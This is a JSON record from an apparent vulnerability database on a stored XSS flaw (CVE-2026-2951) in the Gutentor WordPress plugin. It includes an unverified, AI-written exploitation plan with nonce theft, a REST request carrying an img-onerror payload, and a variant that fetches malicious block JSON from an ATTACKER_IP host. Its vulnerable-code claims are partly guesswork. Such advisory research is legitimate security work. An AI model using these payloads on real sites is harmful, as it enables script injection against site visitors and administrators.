[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fLQaTt9XbZJrpZK5vT6hmDfpMuOb4xi-99ic-RbI2814":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":36},"CVE-2026-2951","gutentor-gutenberg-blocks-page-builder-for-gutenberg-editor-authenticated-contributor-stored-cross-site-scripting-via-gu","Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor \u003C= 3.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Gutentor Block HTML","The Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","gutentor",null,"\u003C=3.5.5","3.5.6","medium",5.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-22 13:44:42","2026-04-23 02:25:21",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd7c639b8-35f5-4eaf-a663-1adab3ba2a16?source=api-prod",1,[22,23,24,25,26,27,28],"gutentor.php","includes\u002Fdynamic-css.php","includes\u002Ffunctions\u002Ffunctions.php","includes\u002Ffunctions\u002Fsanitize.php","includes\u002Ftools\u002Fclass-gutentor-advanced-import.php","includes\u002Ftools\u002Fclass-gutentor-self-api-handler.php","includes\u002Ftools\u002Fclass-gutentor-tempalte-info.php","researched",false,3,"This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Gutentor – Gutenberg Blocks** plugin (\u003C= 3.5.5).\n\n### 1. Vulnerability Summary\nThe Gutentor plugin allows authenticated users (Contributor level and above) to create posts using Gutentor-specific Gutenberg blocks. Several of these blocks allow users to customize the HTML tags used for various elements (e.g., wrapper tags, title tags). In version 3.5.5, the plugin fails to consistently apply sanitization functions like `gutentor_get_title_tag()` or `gutentor_get_module_tag()` (defined in `includes\u002Ffunctions\u002Fsanitize.php`) within the PHP `render_callback` functions of all blocks. An attacker can supply a malicious HTML tag or a tag name followed by an attribute breakout as a block attribute, leading to stored XSS when the post is viewed.\n\n### 2. Attack Vector Analysis\n*   **Endpoint**: WordPress REST API for posts (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F{id}`).\n*   **Action**: Updating a post's content (`post_content`) to include a Gutentor block with a malicious attribute.\n*   **Authentication**: Required (Contributor role or higher). Contributors have the `edit_posts` capability.\n*   **Payload Location**: Inside the Gutenberg block comment delimiter as a JSON attribute (e.g., `titleTag`, `wrapperTag`, or `elementTag`).\n*   **Target Blocks**: Likely candidates include `gutentor\u002Faccordion`, `gutentor\u002Fadvanced-list`, `gutentor\u002Ficon`, or `gutentor\u002Fcounter`.\n\n### 3. Code Flow\n1.  **Entry Point**: A Contributor user sends a REST API request to update a post. The `post_content` contains Gutentor block markup: `\u003C!-- wp:gutentor\u002Faccordion {\"titleTag\": \"PAYLOAD\"} -->...\u003C!-- \u002Fwp:gutentor\u002Faccordion -->`.\n2.  **Storage**: WordPress saves the raw block markup into the `wp_posts` table.\n3.  **Sink**: When a user views the post, the Gutenberg renderer identifies the block and calls the associated PHP `render_callback` function for the Gutentor block.\n4.  **Vulnerable Path**: The `render_callback` extracts the attribute (e.g., `$attributes['titleTag']`) and echoes it directly into the HTML without passing it through `gutentor_get_title_tag()`.\n    *   *Example Vulnerable Logic*: `echo '\u003C' . $attributes['titleTag'] . ' class=\"...\">';`\n    *   *Bypass*: If the attribute is `img src=x onerror=alert(1)`, the output becomes `\u003Cimg src=x onerror=alert(1) class=\"...\">`.\n\n### 4. Nonce Acquisition Strategy\nTo interact with the WordPress REST API, a valid `wp_rest` nonce is required in the `X-WP-Nonce` header.\n\n1.  **Preparation**: Create a page with any Gutentor block to ensure scripts are loaded (though the standard editor nonce is usually sufficient).\n2.  **Navigation**: Use `browser_navigate` to go to the WordPress Dashboard (`\u002Fwp-admin\u002Findex.php`) as the Contributor user.\n3.  **Extraction**: Use `browser_eval` to extract the REST API nonce from the global `wpApiSettings` object.\n    *   **JavaScript**: `window.wpApiSettings.nonce`\n4.  **Verification**: Confirm the nonce is a 10-character alphanumeric string.\n\n### 5. Exploitation Strategy\nWe will target a common Gutentor block and attempt to inject an XSS payload via a tag attribute.\n\n1.  **Authenticate**: Log in as a user with the **Contributor** role.\n2.  **Obtain Nonce**: Extract the `wp_rest` nonce using the strategy above.\n3.  **Identify Post**: Create a new post or use an existing one belonging to the contributor.\n4.  **Send Update Request**: Send a `POST` request to `\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F{id}`.\n    *   **Header**: `X-WP-Nonce: [EXTRACTED_NONCE]`\n    *   **Content-Type**: `application\u002Fjson`\n    *   **Body**:\n        ```json\n        {\n          \"content\": \"\u003C!-- wp:gutentor\u002Faccordion {\\\"titleTag\\\":\\\"img src=x onerror=alert(document.domain) \\\"} \u002F-->\"\n        }\n        ```\n    *   *Alternative Block*: If `gutentor\u002Faccordion` is patched or not installed, try `gutentor\u002Fadvanced-list` with the attribute `elementTag`.\n5.  **Trigger**: Navigate to the published post's URL in the browser (ideally as an Administrator).\n\n### 6. Test Data Setup\n1.  **Contributor User**: Create a user with the username `attacker` and role `contributor`.\n2.  **Target Post**:\n    ```bash\n    wp post create --post_type=post --post_status=publish --post_title='Gutentor Test' --post_author=$(wp user get attacker --field=ID)\n    ```\n3.  **Plugin Check**: Ensure Gutentor is active and version is \u003C= 3.5.5.\n    ```bash\n    wp plugin get gutentor --field=version\n    ```\n\n### 7. Expected Results\n*   The REST API should return a `200 OK` response confirming the post was updated.\n*   The `post_content` in the database will contain the malicious Gutentor block JSON.\n*   When viewing the post, the HTML source should contain `\u003Cimg src=x onerror=alert(document.domain) ...` instead of a standard tag like `\u003Ch3>`.\n*   An alert box with the document domain should appear in the browser.\n\n### 8. Verification Steps\n1.  **Check Database**:\n    ```bash\n    wp db query \"SELECT post_content FROM wp_posts WHERE post_title='Gutentor Test'\"\n    ```\n    Confirm the payload is stored exactly as sent.\n2.  **Check Output**:\n    ```bash\n    # Use http_request to fetch the post and check for the payload\n    # Expected: \u003Cimg src=x onerror=alert(document.domain)\n    ```\n\n### 9. Alternative Approaches\n*   **SVG Vector**: If tag attributes are sanitized, check if the SVG feature is vulnerable. Gutentor has a `gutentor_esc_svg` function in `includes\u002Ffunctions\u002Fsanitize.php`. An attacker could try to inject an SVG block with a payload that bypasses this filter, such as using the `style` attribute (which is allowed) with a legacy XSS vector or nested tags.\n*   **Template Import**: Use the REST route `\u002Fwp-json\u002Fgutentor-advanced-import\u002Fv1\u002Fimport_template?url=http:\u002F\u002F[ATTACKER_IP]\u002Fmalicious.json`. This route is available to Contributors and fetches external JSON. An attacker could host a malicious block configuration here to bypass client-side validation in the editor.\n    *   **Payload for `malicious.json`**:\n        ```json\n        {\n          \"post_content\": \"\u003C!-- wp:gutentor\u002Faccordion {\\\"titleTag\\\":\\\"script>alert(1)\u003C\u002Fscript\\\"} \u002F-->\"\n        }\n        ```\n    *   The Contributor calls the API, and the server fetches the malicious block content, which is then returned to the editor and can be saved to the post.","gemini-3-flash-preview","2026-04-27 13:45:05","2026-04-27 13:46:11",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","3.5.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgutentor\u002Ftags\u002F3.5.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgutentor.3.5.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgutentor\u002Ftags\u002F3.5.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgutentor.3.5.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgutentor\u002Ftags"]